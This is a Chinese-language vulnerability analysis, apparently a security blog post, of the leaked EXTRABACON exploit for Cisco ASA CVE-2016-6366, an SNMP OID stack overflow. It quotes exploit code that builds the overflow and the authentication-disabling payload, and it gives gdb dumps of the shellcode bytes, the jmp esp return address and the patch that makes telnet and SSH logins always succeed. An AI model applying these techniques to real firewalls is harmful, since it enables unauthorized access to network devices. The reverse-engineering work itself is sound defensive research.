Shadow Brokers 曝出的EXTRABACON工具中包含思科ASA防火墻遠程代碼執(zhí)行的0DAY漏洞,本文分析了ASA漏洞CVE-2016-6366的產(chǎn)生原因和利用原理,并對工具中的EXP的執(zhí)行過程進行了深入分析,展示了網(wǎng)絡設備漏洞攻防的分析和調(diào)試技巧和方法。
0x01 漏洞背景
今年8月13號,入侵美國國家安全局(NSA)的組織Shadow Brokers在其Twitter微博上公開了大量黑客工具的鏈接,并將部分放在網(wǎng)上進行拍賣。根據(jù)Shadow Brokers組織的描述,這些工具原屬于著名的黑客團隊方程式組織(Equation Group),該組織可能與震網(wǎng)(stuxnet)、Regin、Flame等攻擊有關,被外界懷疑受雇于美國國家安全局。
在此次公開的文件中包含了一個Cisco ASA防火墻的遠程代碼執(zhí)行0DAY,方程式組織將這個exploit命名為EXTRABACON。在EXTRABACON遭到曝光后,思科也立刻承認了在其多個版本的ASA產(chǎn)品中存在相應的漏洞,漏洞編號為CVE-2016-6366。
EXTRABACON利用的是思科ASA防火墻中處理SNMP(簡單網(wǎng)絡管理協(xié)議)代碼的漏洞,本質(zhì)是一個緩沖區(qū)溢出。從利用層面說來,攻擊者可以向系統(tǒng)發(fā)送精心構造的SNMP包,一旦漏洞利用成功,攻擊者則無需輸入正確的登錄賬戶和密碼,就可以通過ASA的Telnet和SSH身份認證。
從公開的EXTRABACON代碼來看,可對Cisco ASA Software版本號為8.0(2)~8.4(4)的系統(tǒng)進行利用,但是后續(xù)網(wǎng)絡上不斷放出了針對高版本ASA系統(tǒng)的利用代碼。
0x02 Cisco ASA 系統(tǒng)分析
在實驗環(huán)境下,通過GNS網(wǎng)絡模擬器模擬線上Cisco ASA設備,分析中采用8.02版本的固件作為樣本。使用固件分析工具binwalk提取和解壓文件,發(fā)現(xiàn)Cisco ASA底層實際上是一個標準的linux操作系統(tǒng),這樣逆向出來的匯編自然也是x86體系結(jié)構的。
通過對解壓出的linux系統(tǒng)進行分析,可以分析出Cisco ASA防火墻系統(tǒng)啟動加載流程如下:
在這里我們最關注的是最后三個步驟,其中l(wèi)ina是Cisco ASA防火墻的主程序,lina_monitor以創(chuàng)建子進程的方式啟動lina程序,并對lina進程進行監(jiān)視和管控。rcS作為一個shell腳本控制著lina_monitor的啟動方式,如傳入的參數(shù)控制,基本包含了ASA所有的業(yè)務邏輯代碼,在系統(tǒng)內(nèi)存中,lina將fork多個子進程協(xié)同工作,如下圖所示:
其中存在漏洞的代碼運行在lina_monitor的子進程,也就是上圖PID為221的lina進程中。在Cisco ASA系統(tǒng)內(nèi)置gdbserver,可用作對此漏洞進行遠程動態(tài)調(diào)試,使用gdbserver遠程調(diào)試Cisco ASA示意圖如下:
0x03 漏洞分析
1.exp分析
此漏洞的exploit源碼由Python編寫,其中包含三個主要功能模塊:
1)overflow漏洞利用數(shù)據(jù)生成,關鍵代碼如下:
1 2 3 4 5 6 7 |
head = '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9' wrapper = sc.preamble_snmp if self.params.msg: wrapper += "." + sc.successmsg_snmp wrapper += "." + sc.launcher_snmp wrapper += "." + sc.postscript_snmp overflow = string.join([head, "95", wrapper, sc.my_ret_addr_snmp, sc.finder_snmp], ".") |
其中sc是動態(tài)加載的shellcode模塊,在構造overflow前exp會確認目標ASA的系統(tǒng)版本,并匹配對應版本的shellcode。
wrapper變量被組裝了shellcode代碼,整個造成溢出的數(shù)據(jù)需要有一個固定值的head,這段必須使用OID '1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9' ,該OID屬于sysDescr,在SNMP協(xié)議中是獲取目標系統(tǒng)的一些描述信息,比如系統(tǒng)全名或硬件版本標識等。
字段”95”表明后面還接有95字節(jié)的數(shù)據(jù),my_ret_addr_snmp是溢出后覆蓋的函數(shù)返回地址,finder_snmp是一段跳轉(zhuǎn)代碼。
2)payload控制代碼數(shù)據(jù)生成,關鍵代碼如下:
1 2 |
payload += sc.payload_PMCHECK_DISABLE_byte payload += sc.payload_AAAADMINAUTH_DISABLE_byte |
這段拼接了shellcode中payload代碼,控制方法為更改telnet和ssh的認證流程。
3)構造SNMP數(shù)據(jù)包,關鍵代碼如下:
1 | exba_msg = SNMP(version=self.params.version,community=self.params.community,PDU=SNMPbulk(id=ASN1_INTEGER(self.params.request_id),max_repetitions=1,varbindlist=[SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.1"),value=ASN1_STRING(payload)),SNMPvarbind(oid=ASN1_OID(overflow)),])) |
在SNMP構造的過程中,overflow被填充到了SNMP報文的OID字段,通過控制OID輸入字符長度來溢出棧。
通過構造的SNMP報文,可以得知,觸發(fā)該漏洞必須滿足2個約束條件:
1)攻擊報文的源IP地址必須為SNMP指定的HOST地址。
2)攻擊者需輸入正確的SNMP的community。
若其中任何一個條件不滿足,ASA將直接丟棄SNMP報文不予處理。在調(diào)試過程中,我們也確認如果不滿足這兩個條件中任意一個則無法跳轉(zhuǎn)到漏洞代碼的執(zhí)行分支。
2.協(xié)議分析
Exp在攻擊過程中會發(fā)送兩個SNMP報文,第一個是查詢目標ASA系統(tǒng)版本,其中包含了查詢目標Cisco ASA設備版本號的OID,在測試環(huán)境中抓包顯示如下:
查詢操作成功后,ASA設備會返回一個數(shù)據(jù)包告訴對方自己的版本號,從返回的數(shù)據(jù)包,顯示已成功查詢到目標設備的系統(tǒng)版本:
緊接著exp會發(fā)送第二個報文,該報文是SNMPv2版本中定義的新分組類型get-bulk-request,用來高效率的從代理進程讀取大塊數(shù)據(jù),其中包含了兩個object條目,可以看到之前構造的payload數(shù)據(jù)被填充到了第一個條目的value字段中,造成溢出的overflow被填充到了第二個條目的oid字段中:
3.代碼分析
靜態(tài)分析
將Cisco ASA 8.02系統(tǒng)中的/asa/bin/lina文件加載到IDA中進行靜態(tài)分析,通過gdb連接lina進程,通過構造特殊字符的shellcode查看實時的系統(tǒng)棧結(jié)構信息,查看exp執(zhí)行溢出后系統(tǒng)棧崩潰信息,可以初步定位函數(shù)地址,不斷設置斷點進行跟進調(diào)試,逐漸定位到發(fā)生漏洞的函數(shù)為sub_89F4750,對其反編譯后的部分代碼如下:
在sub_89F4750函數(shù)中,調(diào)用了sub_90A32A0函數(shù),這個函數(shù)的主要功能是將第二個參數(shù)指向的源地址數(shù)據(jù)copy到第一個參數(shù)指向的目的地址中,第三個參數(shù)大小影響了copy的數(shù)據(jù)長度。繼續(xù)跟進到sub_90A32A0函數(shù)中查看代碼:
在這部分代碼中,很容易分析出for循環(huán)實際實施了內(nèi)存copy操作,依次從源地址中讀出4字節(jié)的數(shù)據(jù)寫入到目的地址中,每一次循環(huán)將copy 64字節(jié)長度的數(shù)據(jù),其中這個函數(shù)傳入的第三個參數(shù),也就是影響copy長度的a3變量,在循環(huán)開始時被除以4后賦值予i變量,而i變量控制循環(huán)次數(shù),所以sub_90A32A0函數(shù)的總copy長度可能不等于第三個參數(shù)所指定值。再看一下該函數(shù)接下來的代碼:
先看第一個if語句,若經(jīng)過前一個階段的for循環(huán)后,若i變量依舊不為0,則執(zhí)行if內(nèi)的代碼塊,這段代碼塊的作用將會從源地址中取出i*4字節(jié)長度的數(shù)據(jù)copy到目的地址中。
第二個if語句判斷條件是將傳入的a3參數(shù)與整數(shù)3按位與操作,其語義目的是為了過濾掉4的倍數(shù),也就是說若a3非4的倍數(shù)將執(zhí)行第二個if的代碼塊,這段代碼的作用是從源地址中向目的地址copy參數(shù)a3與整數(shù)3按位與操作后的整型值的長度數(shù)據(jù)。
由此可見在這個函數(shù)中的三個主要流程控制的代碼塊中都可能發(fā)生內(nèi)存copy操作,將這段IDA反編譯的sub_90A32A0函數(shù)翻譯為同功能的標準C語言可能更直觀一些,其代碼如下:
至此可以分析出sub_89F4750函數(shù)通過調(diào)用sub_90A32A0這個內(nèi)存copy函數(shù),將從上層函數(shù)傳入的地址指針a6指向的源地址的數(shù)據(jù)copy到本地局部變量v32中,其copy長度也由上層函數(shù)傳入的參數(shù)決定,而不是由本地局部變量v32的內(nèi)存空間長度來做控制,上層傳入?yún)?shù)很容易超出本地局部變量v32內(nèi)存長度發(fā)生緩沖區(qū)溢出風險。
動態(tài)調(diào)試
通過Cisco ASA串口連接gdbserver進行動態(tài)調(diào)試,在發(fā)送觸發(fā)漏洞的數(shù)據(jù)包前先對lina進程中copy SNMP報文oid字段的sub_90A32A0函數(shù)調(diào)用前后下斷點,以方便觀察內(nèi)存,如下圖所示:
第二個SNMP報文成功觸發(fā)了這兩個斷點,通過查詢ESP寄存器中的值取得棧頂?shù)刂罚?/p>
1 2 |
(gdb) i r espesp 0xab7b0fd0 0xab7b0fd0 |
由于遵循_stdcall約定,棧頂?shù)刂芳由?字節(jié)的偏移量可以讀取傳入到sub_90A32A0函數(shù)的第三個參數(shù)的值:
1 2 |
(gdb) x /wx 0xab7b0fd8 0xab7b0fd8: 0x0000005f |
可以看到其值的十進制正是“95”,也就是在“exp分析”一節(jié)中提到的overflow中后接shellcode的length值。將這個length帶入到sub_90A32A0函數(shù)中分析出總copy的數(shù)據(jù)長度為:
總長度 = 第一階段64字節(jié) + 第二階段28字節(jié) + 第三階段3字節(jié) = 95字節(jié)
三個階段copy的數(shù)據(jù)長度總和也恰好是95字節(jié)。雖然SNMP的oid字段中的length值可直接控制內(nèi)存copy長度,但是并不是沒有長度限制,通過不斷增大oid的shellcode長度以及對應的length值。我們發(fā)現(xiàn)ASA系統(tǒng)限制了oid的最大長度為128字節(jié),當超過這個長度ASA會丟棄這個SNMP報文不予處理。
由棧頂?shù)刂芳由?0字節(jié)偏移量,從上文提到的局部變量v32所指向的內(nèi)存空間開始打印,如下所示的系統(tǒng)棧內(nèi)存分布情況,其中紅色部分(0x089f672c)為sub_89F4750函數(shù)的返回地址:
1 2 3 4 5 6 7 8 9 |
(gdb) x /30wx 0xAB7B0FF8 0xab7b0ff8: 0x00000000 0x089c8a2f 0xab7b75d8 0x00000000 0xab7b1008: 0x00000060 0x0000005f 0x000000a1 0x00000010 0xab7b1018: 0xab7b1048 0x089d9326 0x00000000 0x00000060 0xab7b1028: 0xab7b1058 0x0892ee82 0x0000005e 0x00000010 0xab7b1038: 0x00000040 0x00000010 0x00000000 0x00000004 0xab7b1048: 0xab7b10a8 0x089f672c 0x00000002 0xab7a1400 0xab7b1058: 0x00000004 0x000000a1 0x00000009 0xab7b75d0 0xab7b1068: 0x00000000 0x090a1686 |
當sub_90A32A0函數(shù)完成copy動作后再看相同內(nèi)存空間中的數(shù)據(jù)變化,其中藍色部分(0x89b80000- 0x00000090)是寫入的shellcode,紅色部分(0x08d3de9b)是被覆蓋的函數(shù)返回地址:
1 2 3 4 5 6 7 8 9 |
(gdb) x /30wx 0xAB7B0FF8 0xab7b0ff8: 0x89b80000 0x35ad3ac2 0xa5a5a5a5 0x8904ec83 0xab7b1008: 0xe5892404 0x3158c583 0xb3db31c0 0xbff63110 0xab7b1018: 0xaaaaaaae 0xa5a5f781 0x8b60a5a5 0x01c82484 0xab7b1028: 0x32040000 0xc361d0ff 0x90909090 0x90909090 0xab7b1038: 0x90909090 0x90909090 0x90909090 0x90909090 0xab7b1048: 0x90909090 0x08d3de9b 0x14247c8b 0xe0ff078b 0xab7b1058: 0x00000090 0x000000a1 0x00000009 0xab7b75d0 0xab7b1068: 0x00000000 0x090a1686 |
1 2 |
(gdb) x /i 0x08d3de9b 0x08d3de9b:jmp*%esp |
可看到shellcode通過跳轉(zhuǎn)到ESP的方式實現(xiàn)精確定位將要執(zhí)行的代碼。接下來打印0xab7b1050地址處的代碼,也就是sub_89F4750函數(shù)棧幀彈出后,ESP所指向地址:
1 2 |
(gdb) x /5i 0xab7aeed0 0xab7b1050: mov 0x14(%esp),%edi 0xab7b1054: mov (%edi),%eax 0xab7b1056: jmp *%eax 0xab7b1058: nop 0xab7b1059: add %al,(%eax) |
此段代碼是將sub_89F4750函數(shù)的局部變量v32指向的內(nèi)存地址讀取到了EAX寄存器中,讀取出EAX中的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
(gdb) i r eax eax 0xab7b75d8 -1417972264 查看地址0xab7b75d8處的代碼: (gdb) x /18i 0xab7b75d8 0xab7b75d8: mov $0xad3ac289,%eax 0xab7b75dd: xor $0xa5a5a5a5,%eax …… 0xab7b7600: pusha 0xab7b7601: mov 0x1c8(%esp),%eax 0xab7b7608: add $0x32,%al 0xab7b760a: call *%eax 0xab7b760c: popa 0xab7b760d: ret |
我們繼續(xù)在0xab7b760a和0xab7b760d處下兩個斷點,可以讀取到shellcode的下一處跳轉(zhuǎn)地址和整個shellcode執(zhí)行結(jié)束后的返回地址,其中先在第一個中斷處讀取到EAX的值,并查看其跳轉(zhuǎn)處的代碼:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
(gdb) i r eax eax 0xab7b1462 -1417997214 (gdb) x /23i 0xab7b1462 0xab7b1462: mov $0xa5a5a5a5,%edi 0xab7b1467: mov $0xa5a5a5d8,%eax …… 0xab7b1481: xor %edi,%edx 0xab7b1483: int $0x80 ;mprotect() 0xab7b1485: jmp 0xab7b149b 0xab7b1487: mov $0x906ed20,%edi 0xab7b148c: xor %ecx,%ecx 0xab7b148e: mov $0x4,%cl 0xab7b1490: cld 0xab7b1491: rep movsb %ds:(%esi),%es:(%edi) ;copy patch bytes to offset 0xab7b1493: jmp 0xab7b14a4 ;go to payload2 0xab7b1498: pop %esi 0xab7b1499: jmp 0xab7b1487 0xab7b149b: call 0xab7b1498 0xab7b14a0: xor %eax,%eax 0xab7b14a2: inc %eax 0xab7b14a3: ret |
發(fā)現(xiàn)這段地址存儲的代碼正是之前構造的payload,該部分payload修改了telnet和ssh的認證流程,使其身份認證過程失效。這段代碼有兩個主要的操作:
1)在0xab7b1483處通過linux系統(tǒng)調(diào)用mprotect()賦予相關內(nèi)存頁面可讀/可寫/可執(zhí)行權限,然后直接jmp 0xab7b149b。
2)在0xab7b149b處,代碼將下一個指令的地址壓入到棧中,然后跳轉(zhuǎn)到0xab7b1498,然后pop出當前棧頂數(shù)據(jù),此時正好將地址0xab7b14a0寫到了ESI中,接著通過rep指令將最后三行代碼寫入到身份認證函數(shù)的起始地址0x906ed20處,這樣認證函數(shù)無論接收到了怎樣的用戶名和密碼參數(shù),都直接返回true,從而繞過系統(tǒng)的身份認證。可以查看溢出后錯誤的隨機用戶名依舊保存在登錄系統(tǒng)中,如下圖:
繼續(xù)執(zhí)行continue命令,程序停在了0xab7b760d處,通過查看ESP指向的棧頂數(shù)據(jù)來確定ret的地址:
1 2 3 4 5 |
(gdb) i r esp esp 0xab7b104c 0xab7b104c (gdb) x /wx 0xab7b104c 0xab7b104c: 0x089f672c (gdb) |
shellcode執(zhí)行完成后跳轉(zhuǎn)的地址為0x089f672c,這正是sub_89F4750函數(shù)執(zhí)行完成后的正常返回地址,見下圖,從而避免了原系統(tǒng)棧被破壞而導致系統(tǒng)崩潰,至此動態(tài)分析過程全部結(jié)束。
在cisco ASA系統(tǒng)對SNMP報文OID長度做了限制,只能有128字節(jié), OID固定的頭部標識占去了17字節(jié),在棧中v32指向的內(nèi)存起始地址距函數(shù)返回地址的偏移量為82字節(jié),由此可計算超出函數(shù)返回地址的溢出長度為:OID總長度 - OID head - 偏移量 = 128 - 17 - 82 = 29字節(jié),分析來看通過jmp esp的方式最多只能執(zhí)行29字節(jié)的代碼。
0x04總結(jié)
針對此次ASA漏洞及exp的分析和重現(xiàn),我們發(fā)現(xiàn)該漏洞溢出的長度并不大,遠遠不夠載入一次完整攻擊所有shellcode, 因此exp構造的shellcode分布在內(nèi)存的多個區(qū)域,通過多次跳轉(zhuǎn)來完成完整的exploit。此外,雖然漏洞觸發(fā)后可獲取ASA設備底層的系統(tǒng)權限,一般會采用反彈shell的方式來進行利用,但該exp并沒有直接獲取shell,而是通過更改lina程序的執(zhí)行流程來突破了telnet和ssh的身份認證。這樣做一方面隱蔽性非常高,系統(tǒng)幾乎難以發(fā)現(xiàn)入侵的痕跡,同時還可以充分發(fā)揮ASA設備強大網(wǎng)絡操控功能,例如監(jiān)聽流量,配置隧道來進行隱秘的監(jiān)聽,而底層linux系統(tǒng)編譯進來系統(tǒng)命令很少,利用的功能相對有限。同時該exp實現(xiàn)了ASA系統(tǒng)多版本的適配,確實可以反映出該漏洞利用程序的開發(fā)有著相對較高工程化的實現(xiàn)。